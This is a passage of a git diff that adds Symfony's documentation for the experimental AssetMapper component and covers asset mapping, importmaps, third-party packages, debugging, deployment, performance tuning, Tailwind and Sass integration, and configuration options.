+AssetMapper is an alternative to Webpack Encore that runs entirely in PHP
+without any complex build steps. It leverages the ``importmap`` feature of
+your browser, which is available in all browsers thanks to a polyfill.
+AssetMapper is currently :doc:`experimental </contributing/code/experimental>`.
+
+:doc:`Read the AssetMapper Documentation </frontend/asset_mapper>`
+
 Symfony UX Components
 ---------------------
 
+* :doc:`/frontend/ux`
+
 .. include:: /frontend/_ux-libraries.rst.inc
 
 Other Front-End Articles
 ------------------------
 
+* :doc:`/frontend/create_ux_bundle`
+* :doc:`/frontend/custom_version_strategy`
+
 .. toctree::
     :hidden:
     :glob:
@@ -99,11 +143,7 @@ Other Front-End Articles
     frontend/encore/installation
     frontend/encore/simple-example
     frontend/encore/*
-
-.. toctree::
-    :maxdepth: 1
-    :glob:
-
+    frontend/asset_mapper
     frontend/*
 
 .. _`Webpack Encore`: https://www.npmjs.com/package/@symfony/webpack-encore
diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
new file mode 100644
index 00000000000..9f73e8a36a9
--- /dev/null
+++ b/frontend/asset_mapper.rst
@@ -0,0 +1,1097 @@
+AssetMapper: Simple, Modern CSS & JS Management
+===============================================
+
+.. versionadded:: 6.3
+
+    The AssetMapper component was introduced as an
+    :doc:`experimental feature </contributing/code/experimental>` in
+    Symfony 6.3.
+
+The AssetMapper component lets you write modern JavaScript and CSS without the complexity
+of using a bundler. Browsers *already* support many modern JavaScript features
+like the ``import`` statement and ES6 classes. And the HTTP/2 protocol means that
+combining your assets to reduce HTTP connections is no longer urgent. This component
+is a light layer that helps serve your files directly to the browser.
+
+The AssetMapper component has two main features:
+
+* :ref:`Mapping & Versioning Assets <mapping-assets>`: All files inside of ``assets/``
+  are made available publicly and **versioned**. For example, you can reference
+  ``assets/styles/app.css`` in a template with ``{{ asset('styles/app.css') }}``.
+  The final URL will include a version hash, like ``/assets/styles/app-3c16d9220694c0e56d8648f25e6035e9.css``.
+
+* :ref:`Importmaps <importmaps-javascript>`: A native browser feature that makes it easier
+  to use the JavaScript ``import`` statement (e.g. ``import { Modal } from 'bootstrap'``)
+  without a build system. It's supported in all browsers (thanks to a shim)
+  and is a `W3C standard <https://html.spec.whatwg.org/multipage/webappapis.html#import-maps>`_.
+
+Installation
+------------
+
+To install the AssetMapper component, run:
+
+.. code-block:: terminal
+
+    $ composer require symfony/asset-mapper symfony/asset symfony/twig-pack
+
+In addition to ``symfony/asset-mapper`, this also makes sure that you have the
+:doc:`Asset Component </components/asset>` and Twig available.
+
+If you're using :ref:`Symfony Flex <symfony-flex>`, you're done! The recipe just
+added a number of files:
+
+* ``assets/app.js`` Your main JavaScript file;
+* ``assets/styles/app.css`` Your main CSS file;
+* ``config/packages/asset_mapper.yaml`` Where you define your asset "paths";
+* ``importmap.php`` Your importmap config file.
+
+It also *updated* the ``templates/base.html.twig`` file:
+
+.. code-block:: diff
+
+    {% block stylesheets %}
+    +    <link rel="stylesheet" href="{{ asset('styles/app.css') }}">
+    {% endblock %}
+
+    {% block javascripts %}
+    +    {{ importmap() }}
+    {% endblock %}
+
+If you're not using Flex, you'll need to create & update these files manually. See
+the `latest asset-mapper recipe`_ for the exact content of these files.
+
+.. _mapping-assets:
+
+Mapping and Referencing Assets
+------------------------------
+
+The AssetMapper component works by defining directories/paths of assets that you want to expose
+publicly. These assets are then versioned and easy to reference. Thanks to the
+``asset_mapper.yaml`` file, your app starts with one mapped path: the ``assets/``
+directory.
+
+If you create an ``assets/images/duck.png`` file, you can reference it in a template with:
+
+.. code-block:: html+twig
+
+    <img src="{{ asset('images/duck.png') }}">
+
+The path - ``images/duck.png`` - is relative to your mapped directory (``assets/``).
+This is known as the **logical path** to your asset.
+
+If you look at the HTML in your page, the URL will be something
+like: ``/assets/images/duck-3c16d9220694c0e56d8648f25e6035e9.png``. If you update
+the file, the version part of the URL will change automatically!
+
+Serving Assets in dev vs prod
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+In the ``dev`` environment, the URL - ``/assets/images/duck-3c16d9220694c0e56d8648f25e6035e9.png``
+is handled and returned by your Symfony app. For the ``prod`` environment, before
+deploy, you should run:
+
+.. code-block:: terminal
+
+    $ php bin/console asset-map:compile
+
+This will physically copy all the files from your mapped directories into
+``public/assets/`` so that they're served directly by your web server.
+See :ref:`Deployment <asset-mapper-deployment>` for more details.
+
+Paths Inside of CSS Files
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+From inside CSS, you can reference other files using the normal CSS ``url()``
+function and a relative path to the target file:
+
+.. code-block:: css
+
+    /* assets/styles/app.css */
+    .quack {
+        /* file lives at assets/images/duck.png */
+        background-image: url('../images/duck.png');
+    }
+
+The path in the final ``app.css`` file will automatically include the versioned URL
+for ``duck.png``:
+
+.. code-block:: css
+
+    /* public/assets/styles/app-3c16d9220694c0e56d8648f25e6035e9.css */
+    .quack {
+        background-image: url('../images/duck-3c16d9220694c0e56d8648f25e6035e9.png');
+    }
+
+Debugging: Seeing All Mapped Assets
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+To see all of the mapped assets in your app, run:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:asset-map
+
+This will show you all the mapped paths and the assets inside of each:
+
+.. code-block:: text
+
+    AssetMapper Paths
+    ------------------
+
+    --------- ------------------
+     Path      Namespace prefix
+    --------- ------------------
+    assets
+
+    Mapped Assets
+    -------------
+
+    ------------------ ----------------------------------------------------
+     Logical Path       Filesystem Path
+    ------------------ ----------------------------------------------------
+     app.js             assets/app.js
+     styles/app.css     assets/styles/app.css
+     images/duck.png    assets/images/duck.png
+
+The "Logical Path" is the path to use when referencing the asset, like
+from a template.
+
+.. _importmaps-javascript:
+
+Importmaps & Writing JavaScript
+-------------------------------
+
+All modern browsers support the JavaScript `import statement`_ and modern
+`ES6`_ features like classes. So this code "just works":
+
+.. code-block:: javascript
+
+    // assets/app.js
+    import Duck from './duck.js';
+
+    const duck = new Duck('Waddles');
+    duck.quack();
+
+.. code-block:: javascript
+
+    // assets/duck.js
+    export default class {
+        constructor(name) {
+            this.name = name;
+        }
+        quack() {
+            console.log(`${this.name} says: Quack!`);
+        }
+    }
+
+Thanks to the ``{{ importmap() }}`` Twig function, which you'll learn all about in
+this section, the ``assets/app.js`` file is loaded & executed by the browser.
+
+.. tip::
+
+    When importing relative files, be sure to include the ``.js`` extension.
+    Unlike in Node, the extension is required in the browser environment.
+
+Importing 3rd Party JavaScript Packages
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Suppose you want to use an `npm package`_, like `bootstrap`_. Technically,
+this can be done by importing its full URL, like from a CDN:
+
+.. code-block:: javascript
+
+    import { Alert } from 'https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/+esm';
+
+But yikes! Needing to include that URL is a pain! Instead, we can add
+this to our "importmap" via the ``importmap:require`` command. This command can
+be used to download any `npm package`_:
+
+.. code-block:: terminal
+
+    $ php bin/console importmap:require bootstrap
+
+This adds the ``bootstrap`` package to your ``importmap.php`` file::
+
+    // importmap.php
+    return [
+        // ...
+
+        'bootstrap' => [
+            'url' => 'https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/+esm',
+        ],
+    ];
+
+Now you can import the ``bootstrap`` package like normal:
+
+.. code-block:: javascript
+
+    import { Alert } from 'bootstrap';
+    // ...
+
+If you want to download the package locally, use the ``--download`` option:
+
+.. code-block:: terminal
+
+    $ php bin/console importmap:require bootstrap --download
+
+This will download the package into an ``assets/vendor/`` directory and update
+the ``importmap.php`` file to point to it. You *should* commit this file to
+your repository.
+
+.. note::
+
+    Sometimes, a package - like ``bootstrap`` - will have one or more dependencies,
+    such as ``@popperjs/core``. The ``download`` option will download both the main
+    package *and* its dependencies.
+
+To update all 3rd party packages in your ``importmap.php`` file, run:
+
+.. code-block:: terminal
+
+    $ php bin/console importmap:update
+
+How does the importmap Work?
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+How does this ``importmap.php`` file allow you to import ``bootstrap``? That's
+thanks to the ``{{ importmap() }}`` Twig function in ``base.html.twig``, which
+outputs an `importmap`_:
+
+.. code-block:: html
+
+    <script type="importmap">{
+        "imports": {
+            "app": "/assets/app-4e986c1a2318dd050b1d47db8d856278.js",
+            "/assets/duck.js": "/assets/duck-1b7a64b3b3d31219c262cf72521a5267.js",
+            "bootstrap": "https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/+esm"
+        }
+    }</script>
+
+Importmaps is a native browser feature. It works in all browsers thanks to
+a "shim" file that's included automatically by the AssetMapper component
+(all *modern* browsers `support it natively <https://caniuse.com/import-maps>`_).
+
+When you import ``bootstrap`` from your JavaScript, the browser will look at
+the ``importmap`` and see that it should fetch the package from the URL.
+
+.. _automatic-import-mapping:
+
+But where did the ``/assets/duck.js`` import entry come from? Great question!
+
+The ``assets/app.js`` file above imports ``./duck.js``. When you import a file using a
+relative path, your browser looks for that file relative to the one importing
+it. So, it would look for ``/assets/duck.js``. That URL *would* be correct,
+except that the ``duck.js`` file is versioned. Fortunately, the AssetMapper component
+sees that import and adds a mapping from ``/assets/duck.js`` to the correct, versioned
+filename. The result: importing ``./duck.js`` just works!
+
+Preloading and Initializing "app.js"
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+In addition to the importmap, the ``{{ importmap() }}`` Twig function also renders
+an `es module shim`_ and a few other things, like a set of "preloads":
+
+.. code-block:: html
+
+    <link rel="modulepreload" href="/assets/app-4e986c1a2318dd050b1d47db8d856278.js">
+    <link rel="modulepreload" href="/assets/duck-1b7a64b3b3d31219c262cf72521a5267.js">
+
+In ``importmap.php``, each entry can have a ``preload`` option. If set to ``true``,
+a ``<link rel="modulepreload">`` tag is rendered for that entry as well as for
+any JavaScript files it imports (this happens for "relative" - ``./`` or ``../`` -
+imports only). This is a performance optimization and you can learn more about below
+in :ref:`Performance: Add Preloading <performance-preloading>`.
+
+.. _importmap-app-entry:
+
+The ``importmap()`` function also renders one more line:
+
+.. code-block:: html
+
+    <script type="module">import 'app';</script>
+
+So far, the snippets shown export an ``importmap`` and even hinted to the
+browser that it should preload some files. But the browser hasn't yet been told to
+actually parse and execute any JavaScript. This line does that: it imports the
+``app`` entry, which causes the code in ``assets/app.js`` to be executed.
+
+Importing Specific Files From a 3rd Party Package
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Sometimes you'll need to import a specific file from a package. For example,
+suppose you're integrating `highlight.js`_ and want to import just the core
+and a specific language:
+
+.. code-block:: javascript
+
+    import hljs from 'highlight.js/lib/core';
+    import javascript from 'highlight.js/lib/languages/javascript';
+
+    hljs.registerLanguage('javascript', javascript);
+    hljs.highlightAll();
+
+In this case, adding the ``highlight.js`` package to your ``importmap.php`` file
+won't work: whatever your importing - e.g. ``highlight.js/lib/core`` - needs to
+*exactly* match an entry in the ``importmap.php`` file.
+
+Instead, use ``importmap:require`` and pass it the exact paths you need. This
+also shows how you can require multiple packages at once:
+
+.. code-block:: terminal
+
+    $ php bin/console importmap:require highlight.js/lib/core highlight.js/lib/languages/javascript
+
+Handling 3rd-Party CSS
+----------------------
+
+With the ``importmap:require`` command, you can quickly use any JavaScript
+package. But what about CSS? For example, the ``bootstrap`` package also contains
+a CSS file.
+
+Including CSS is a bit more manual, but still easy enough. To find the CSS,
+we recommend using `jsdelivr.com`_:
+
+#. Search for the package on `jsdelivr.com`_.
+#. Once on the package page (e.g. https://www.jsdelivr.com/package/npm/bootstrap),
+   sometimes the ``link`` tag to the CSS file will already be shown in the "Install" box.
+#. If not, click the "Files" tab and find the CSS file you need. For example,
+   the ``bootstrap`` package has a ``dist/css/bootstrap.min.css`` file. If you're
+   not sure which file to use, check the ``package.json`` file. Often
+   this will have a ``main`` or ``style`` key that points to the CSS file.
+
+Once you have the URL, include it in ``base.html.twig``:
+
+.. code-block:: diff
+
+    {% block stylesheets %}
+    +   <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css">
+        <link rel="stylesheet" href="{{ asset('styles/app.css') }}">
+    {% endblock %}
+
+If you'd rather download the CSS file and include it locally, you can do that.
+For example, you could manually download, save it to ``assets/vendor/bootstrap.min.css``
+and then include it with:
+
+.. code-block:: html+twig
+
+    <link rel="stylesheet" href="{{ asset('vendor/bootstrap.min.css') }}">
+
+Lazily Importing CSS from a JavaScript File
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When using a bundler like :ref:`Encore <frontend-webpack-encore>`, you can
+import CSS from a JavaScript file:
+
+.. code-block:: javascript
+
+    // this CAN work (keep reading), but will be loaded lazily
+    import 'swiper/swiper-bundle.min.css';
+
+This *can* work with importmaps, but it should *not* be used for critical CSS
+that needs to be loaded before the page is rendered because the browser
+won't download the CSS until the JavaScript file executed.
+
+However, if you *do* want to lazily-load a CSS file, you an make this work
+by using the ``importmap:require`` command and pointing it at a CSS file.
+
+.. code-block:: terminal
+
+    $ php bin/console importmap:require swiper/swiper-bundle.min.css
+
+This works because ``jsdelivr`` returns a URL to a JavaScript file that,
+when executed, adds the CSS to your page.
+
+Issues and Debugging
+--------------------
+
+There are a few common errors and problems you might run into.
+
+Missing importmap Entry
+~~~~~~~~~~~~~~~~~~~~~~~
+
+One of the most common errors will come from your browser's console, and
+will something like this:
+
+    Failed to resolve module specifier "    bootstrap". Relative references must start
+    with either "/", "./", or "../".
+
+Or:
+
+    The specifier "bootstrap" was a bare specifier, but was not remapped to anything.
+    Relative module specifiers must start with "./", "../" or "/".
+
+This means that, somewhere in your JavaScript, you're importing a 3rd party
+package - e.g. ``import 'bootstrap'``. The browser tries to find this
+package in your ``importmap`` file, but it's not there.
+
+The fix is almost always to add it to your ``importmap``:
+
+.. code-block:: terminal
+
+    $ php bin/console importmap:require bootstrap
+
+.. note::
+
+    Some browsers, like Firefox, show *where* this "import" code lives, while
+    others like Chrome currently do not.
+
+404 Not Found for a JavaScript, CSS or Image File
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Sometimes a JavaScript file you're importing (e.g. ``import './duck.js'``),
+or a CSS/image file you're referencing won't be found, and you'll see a 404
+error in your browser's console. You'll also notice that the 404 URL is missing
+the version hash in the filename (e.g. a 404 to ``/assets/duck.js`` instead of
+a path like ``/assets/duck.1b7a64b3b3d31219c262cf72521a5267.js``).
+
+This is usually because the path is wrong. If you're referencing the file
+directly in a Twig template:
+
+.. code-block:: html+twig
+
+        <img src="{{ asset('images/duck.png') }}">
+
+Then the path that you pass ``asset()`` should be the "logical path" to the
+file. Use the ``debug:asset-map`` command to see all valid logical paths
+in your app.
+
+More likely, you're importing the failing asset from a CSS file (e.g.
+``@import url('other.css')``) or a JavaScript file:
+
+.. code-block:: javascript
+
+    // assets/controllers/farm-controller.js
+    import '../farm/chicken.js';
+
+When doing this, the path should be *relative* to the file that's importing it
+(and, in JavaScript files, should start with ``./`` or ``../``). In this case,
+``../farm/chicken.js`` would point to ``assets/farm/chicken.js``. To
+see a list of *all* invalid imports in your app, run:
+
+.. code-block:: terminal
+
+    $ php bin/console cache:clear
+    $ php bin/console debug:asset-map
+
+Any invalid imports will show up as warnings on top of the screen (make sure
+you have ``symfony/monolog-bundle`` installed):
+
+.. code-block:: text
+
+    WARNING   [asset_mapper] Unable to find asset "../images/ducks.png" referenced in "assets/styles/app.css".
+    WARNING   [asset_mapper] Unable to find asset "./ducks.js" imported from "assets/app.js".
+
+Missing Asset Warnings on Commented-out Code
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The AssetMapper component looks in your JavaScript files for ``import`` lines so
+that it can :ref:`automatically add them to your importmap <automatic-import-mapping>`.
+This is done via regex and works very well, though it isn't perfect. If you
+comment-out an import, it will still be found and added to your importmap. That
+doesn't harm anything, but could be surprising.
+
+If the imported path cannot be found, you'll see warning log when that asset
+is being built, which you can ignore.
+
+.. _asset-mapper-deployment:
+
+Deploying with the AssetMapper Component
+----------------------------------------
+
+When you're ready to deploy, "compile" your assets during deployment:
+
+.. code-block:: terminal
+
+    $ php bin/console asset-map:compile
+
+That's it! This will write all your assets into the ``public/assets/`` directory,
+along with a few JSON files so that the ``importmap`` can be rendered lightning fast.
+
+But to make sure your site is performant, be sure that your web server
+(or a proxy) is running HTTP/2, is compressing your assets and setting
+long-lived Expires headers on them. See :ref:`Optimization <optimization>` for
+more details.
+
+.. _optimization:
+
+Optimizing Performance
+----------------------
+
+To make your AssetMapper-powered site fly, there are a few things you need to
+do. If you want to take a shortcut, you can use a service like `Cloudflare`_,
+which will automatically do most of these things for you:
+
+- **Use HTTP/2**: Your web server **must** be running HTTP/2 (or HTTP/3) so the
+  browser can download assets in parallel. HTTP/2 is automatically enabled in Caddy
+  and can be activated in Nginx and Apache. Or, proxy your site through a
+  service like Cloudflare, which will automatically enable HTTP/2 for you.
+
+- **Compress your assets**: Your web server should compress (e.g. using gzip)
+  your assets (JavaScript, CSS, images) before sending them to the browser. This
+  is automatically enabled in Caddy and can be activated in Nginx and Apache.
+  Or, proxy your site through a service like Cloudflare, which will
+  automatically compress your assets for you. In Cloudflare, you can also
+  enable `auto minify`_ to further compress your assets (e.g. removing
+  whitespace and comments from JavaScript and CSS files).
+
+- **Set long-lived Expires headers**: Your web server should set long-lived
+  Expires headers on your assets. Because the AssetMapper component includes a version
+  hash in the filename of each asset, you can safely set the Expires header
+  to a very long time in the future (e.g. 1 year). This isn't automatic in
+  any web server, but can be easily enabled.
+
+Once you've done these things, you can use a tool like `Lighthouse`_ to
+validate the performance of your site!
+
+.. _performance-preloading:
+
+Performance: Add Preloading
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+One common issue that LightHouse may report is:
+
+    Avoid Chaining Critical Requests
+
+Some items in this list are fine. But if this list is long or some items are
+multiple-levels deep, that *is* something you should fix with "preloading".
+To understand the problem, imagine that you have this setup:
+
+- ``assets/app.js`` imports ``./duck.js``
+- ``assets/duck.js`` imports ``bootstrap``
+
+When the browser downloads the page, this happens:
+
+1. The browser downloads ``assets/app.js``;
+2. It *then* sees the ``./duck.js`` import and downloads ``assets/duck.js``;
+3. It *then* sees the ``bootstrap`` import and downloads ``assets/bootstrap.js``.
+
+Instead of downloading all 3 files in parallel, the browser is forced to
+download them one-by-one as it discovers them. This is hurts performance. To fix
+this, in ``importmap.php``, add a ``preload`` key to the ``app`` entry, which
+points to the ``assets/app.js`` file. Actually, this should already be
+done for you::
+
+    // importmap.php
+    return [
+        'app' => [
+            'path' => 'app.js',
+            'preload' => true,
+        ],
+        // ...
+    ];
+
+Thanks to this, the AssetMapper component will render a "preload" tag onto your page
+for ``assets/app.js`` *and* any other JavaScripts files that it imports using
+a relative path (i.e. starting with ``./`` or ``../``):
+
+.. code-block:: html
+
+    <link rel="preload" href="/assets/app.js" as="script">
+    <link rel="preload" href="/assets/duck.js" as="script">
+
+This tells the browser to start downloading both of these files immediately,
+even though it hasn't yet seen the ``import`` statement for ``assets/duck.js``
+
+You'll also want to preload ``bootstrap`` as well, which you can do in the
+same way::
+
+    // importmap.php
+    return [
+        // ...
+        'bootstrap' => [
+            'path' => '...',
+            'preload' => true,
+        ],
+    ];
+
+.. note::
+
+    As described above, when you preload ``assets/app.js``, the AssetMapper component
+    find all of the JavaScript files that it imports using a **relative** path
+    and preloads those as well. However, it does not currently do this when
+    you import "packages" (e.g. ``bootstrap``). These packages will already
+    live in your ``importmap.php`` file, so their preload setting is handled
+    explicitly in that file.
+
+Frequently Asked Questions
+--------------------------
+
+Does the AssetMapper Component Combine Assets?
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Nope! But that's because this is no longer necessary!
+
+In the past, it was common to combine assets to reduce the number of HTTP
+requests that were made. Thanks to advances in web servers like
+HTTP/2, it's typically not a problem to keep your assets separate and let the
+browser download them in parallel. In fact, by keeping them separate, when
+you update one asset, the browser can continue to use the cached version of
+all of your other assets.
+
+See :ref:`Optimization <optimization>` for more details.
+
+Does the AssetMapper Component Minify Assets?
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Nope! Minifying or compressing assets *is* important, but can be
+done by your web server or a service like Cloudflare. See
+:ref:`Optimization <optimization>` for more details.
+
+Is the AssetMapper Component Production Ready? Is it Performant?
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Yes! Very! The AssetMapper component leverages advances in browser technology (like
+importmaps and native ``import`` support) and web servers (like HTTP/2, which allows
+assets to be downloaded in parallel). See the other questions about minimization
+and combination and :ref:`Optimization <optimization>` for more details.
+
+The https://ux.symfony.com site runs on the AssetMapper component and has a 99%
+Google Lighthouse score.
+
+Does the AssetMapper Component work in All Browsers?
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Yup! Features like importmaps and the ``import`` statement are supported
+in all modern browsers, but the AssetMapper component ships with an `es module shim`_
+to support ``importmap`` in old browsers. So, it works everywhere (see note
+below).
+
+Inside your own code, if you're relying on modern `ES6`_ JavaScript features
+like the `class syntax`_, this is supported in all but the oldest browsers.
+If you *do* need to support very old browsers, you should use a tool like
+:ref:`Encore <frontend-webpack-encore>` instead of the AssetMapper component.
+
+.. note::
+
+    The `import statement`_ can't be polyfilled or shimmed to work on *every*
+    browser. However, only the **oldest** browsers don't support it - basically
+    IE 11 (which is no longer supported by Microsoft and has less than .4%
+    of global usage).
+
+    The ``importmap`` feature **is** shimmed to work in **all** browsers by the
+    AssetMapper component. However, the shim doesn't work with "dynamic" imports:
+
+    .. code-block:: javascript
+
+        // this works
+        import { add } from './math.js';
+
+        // this will not work in the oldest browsers
+        import('./math.js').then(({ add }) => {
+            // ...
+        });
+
+    If you want to use dynamic imports and need to support certain older browsers
+    (https://caniuse.com/import-maps), you can use an ``importShim()`` function
+    from the shim: https://www.npmjs.com/package/es-module-shims#user-content-polyfill-edge-case-dynamic-import
+
+Can I Use with Sass or Tailwind?
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Sure! See :ref:`Using Tailwind CSS <asset-mapper-tailwind>` or :ref:`Using Sass <asset-mapper-sass>`.
+
+Can I use with TypeScript, JSX or Vue?
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Probably not.
+
+TypeScript, by its very nature, requires a build step.
+
+JSX *can* be compiled directly to a native JavaScript file but if you're using a lot of JSX,
+you'll probably want to use a tool like :ref:`Encore <frontend-webpack-encore>`.
+See the `UX React Documentation`_ for more details about using with the AssetMapper
+component.
+
+Vue files *can* be written in native JavaScript, and those *will* work with
+the AssetMapper component. But you cannot write single-file components (i.e. ``.vue``
+files) with component, as those must be used in a build system. See the
+`UX Vue.js Documentation`_ for more details about using with the AssetMapper
+component.
+
+.. _asset-mapper-tailwind:
+
+Using Tailwind CSS
+------------------
+
+Want to use the `Tailwind`_ CSS framework with the AssetMapper component? No problem.
+First, install the ``tailwindcss`` binary. This can be installed via npm (run
+``npm --init`` if you don't already have a ``package.json`` file):
+
+.. code-block:: terminal
+
+    $ npm install -D tailwindcss
+
+Of you can install the `Tailwind standalone binary`_, which does not require Node.
+
+Next, generate the ``tailwind.config.js`` file:
+
+.. code-block:: terminal
+
+    $ npx tailwindcss init
+
+    # or with the standalone binary:
+    $ ./tailwindcss init
+
+Update ``tailwind.config.js`` to point to your template and JavaScript files:
+
+.. code-block:: diff
+
+    // tailwind.config.js
+    // ....
+
+    -   content: [],
+    +   content: [
+    +       "./assets/**/*.js",
+    +       "./templates/**/*.html.twig",
+    +   ],
+
+Then add the base lines to your ``assets/styles/app.css`` file:
+
+.. code-block:: css
+
+    /* assets/styles/app.css */
+    @tailwind base;
+    @tailwind components;
+    @tailwind utilities;
+
+Now that Tailwind is setup, run the ``tailwindcss`` binary in "watch" mode
+to build the CSS file to a new ``assets/app.built.css`` path:
+
+.. code-block:: terminal
+
+    $ npx tailwindcss build -i assets/styles/app.css -o assets/styles/app.built.css --watch
+
+    # or with the standalone binary:
+    $ ./tailwindcss build -i assets/styles/app.css -o assets/styles/app.built.css --watch
+
+Finally, instead of pointing directly to ``styles/app.css`` in your template,
+point to the new ``styles/app.built.css`` file:
+
+.. code-block:: diff
+
+    {# templates/base.html.twig #}
+
+    - <link rel="stylesheet" href="{{ asset('styles/app.css') }}">
+    + <link rel="stylesheet" href="{{ asset('styles/app.built.css') }}">
+
+Done! You can choose to ignore the ``assets/styles/app.built.css`` file from Git
+or commit it to ease deployment.
+
+.. _asset-mapper-sass:
+
+Using Sass
+----------
+
+To use Sass with the AssetMapper component, install the sass binary. You can
+`download it from the latest GitHub release`_ (does not require Node) or
+install it via npm:
+
+.. code-block:: terminal
+
+    $ npm install -D dart-sass
+
+Next, create an ``assets/styles/app.scss`` file and write some dazzling CSS:
+
+.. code-block:: scss
+
+    /* assets/styles/app.scss */
+    $primary-color: skyblue;
+
+    body {
+        background: $primary-color;
+    }
+
+Then, run the ``dart-sass`` binary in "watch" mode to build the CSS file to a
+new ``assets/styles/app.css`` path:
+
+.. code-block:: terminal
+
+    $ npx dart-sass assets/styles/app.scss assets/styles/app.css --watch
+
+    # or with the standalone binary:
+    ./sass assets/styles/app.scss assets/styles/app.css --watch
+
+In your template, point directly to the ``styles/app.css`` file (``base.html.twig``
+points to ``styles/app.css`` by default):
+
+.. code-block:: html+twig
+
+    {# templates/base.html.twig #}
+    <link rel="stylesheet" href="{{ asset('styles/app.css') }}">
+
+Done! You can choose to ignore the ``assets/styles/app.css`` file from Git
+or commit it to ease deployment. To prevent the source ``.scss`` files from being
+exposed to the public, see :ref:`exclude_patterns <excluded_patterns>`.
+
+Third-Party Bundles & Custom Asset Paths
+----------------------------------------
+
+All bundles that have a ``Resources/public/`` or ``public/`` directory will
+automatically have that directory added as an "asset path", using the namespace:
+``bundles/<BundleName>``. For example, if you're using `BabdevPagerfantaBundle`_
+and you run the ``debug:asset-map`` command, you'll see an asset whose logical
+path is ``bundles/babdevpagerfanta/css/pagerfanta.css``.
+
+This means you can render these assets in your templates using the
+``asset()`` function:
+
+.. code-block:: html+twig
+
+    <link rel="stylesheet" href="{{ asset('bundles/babdevpagerfanta/css/pagerfanta.css') }}">
+
+Actually, this path - ``bundles/babdevpagerfanta/css/pagerfanta.css`` - already
+works in applications *without* the AssetMapper component, because the ``assets:install``
+command copies the assets from bundles into ``public/bundles/``. However, when
+the AssetMapper component is enabled, the ``pagerfanta.css`` file will automatically
+be versioned! It will output something like:
+
+.. code-block:: html+twig
+
+    <link rel="stylesheet" href="/assets/bundles/babdevpagerfanta/css/pagerfanta-ea64fc9c55f8394e696554f8aeb81a8e.css">
+
+Overriding 3rd-Party Assets
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you want to override a 3rd-party asset, you can do that by creating a
+file in your ``assets/`` directory with the same name. For example, if you
+want to override the ``pagerfanta.css`` file, create a file at
+``assets/bundles/babdevpagerfanta/css/pagerfanta.css``. This file will be
+used instead of the original file.
+
+.. note::
+
+    If a bundle renders their *own* assets, but they use a non-default
+    :ref:`asset package <asset-packages>`, then the AssetMapper component will
+    not be used. This happens, for example, with `EasyAdminBundle`_.
+
+Importing Assets Outside of the ``assets/`` Directory
+-----------------------------------------------------
+
+You cannot currently import assets that live outside of your asset path
+(i.e. the ``assets/`` directory). For example, this won't work:
+
+.. code-block:: css
+
+    /* assets/styles/app.css */
+
+    /* you cannot reach above assets/ */
+    @import url('../../vendor/babdev/pagerfanta-bundle/Resources/public/css/pagerfanta.css');
+    /* using a logical path won't work either */
+    @import url('bundles/babdevpagerfanta/css/pagerfanta.css');
+
+This wouldn't work either:
+
+.. code-block:: javascript
+
+    // assets/app.js
+
+    // you cannot reach above assets/
+    import '../vendor/symfony/ux-live-component/assets/dist/live_controller.js';
+    // using a logical path won't work either (the "@symfony/ux-live-component" path is added by the LiveComponent library)
+    import '@symfony/ux-live-component/live_controller.js';
+    // importing like a JavaScript "package" won't work
+    import '@symfony/ux-live-component';
+
+For CSS files, you can solve this by adding a ``link`` tag to your template
+instead of using the ``@import`` statement.
+
+For JavaScript files, you can add an entry to your ``importmap`` file:
+
+.. code-block:: terminal
+
+    $ php bin/console importmap:require @symfony/ux-live-component --path=vendor/symfony/ux-live-component/assets/dist/live_controller.js
+
+Then you can ``import '@symfony/ux-live-component'`` like normal. The ``--path``
+option tells the command to point to a local file instead of a package.
+In this case, the ``@symfony/ux-live-component`` argument could be anything:
+whatever you use here will be the string that you can use in your ``import``.
+
+If you get an error like this:
+
+    The "some/package" importmap entry contains the path "vendor/some/package/assets/foo.js"
+    but it does not appear to be in any of your asset paths.
+
+It means that you're pointing to a valid file, but that file isn't in any of
+your asset paths. You can fix this by adding the path to your ``asset_mapper.yaml``
+file:
+
+.. code-block:: yaml
+
+    # config/packages/asset_mapper.yaml
+    framework:
+        asset_mapper:
+            paths:
+                - assets/
+                - vendor/some/package/assets
+
+Then try the command again.
+
+Configuration Options
+---------------------
+
+You can see every available configuration option and some info by running:
+
+.. code-block:: terminal
+
+    $ php bin/console config:dump framework asset_mapper
+
+Some of the more important options are described below.
+
+``framework.asset_mapper.paths``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+This config holds all of the directories that will be scanned for assets. This
+can be a simple list:
+
+.. code-block:: yaml
+
+    framework:
+        asset_mapper:
+            paths:
+                - assets/
+                - vendor/some/package/assets
+
+Of you can give each path a "namespace" that will be used in the asset map:
+
+.. code-block:: yaml
+
+    framework:
+        asset_mapper:
+            paths:
+                assets/: ''
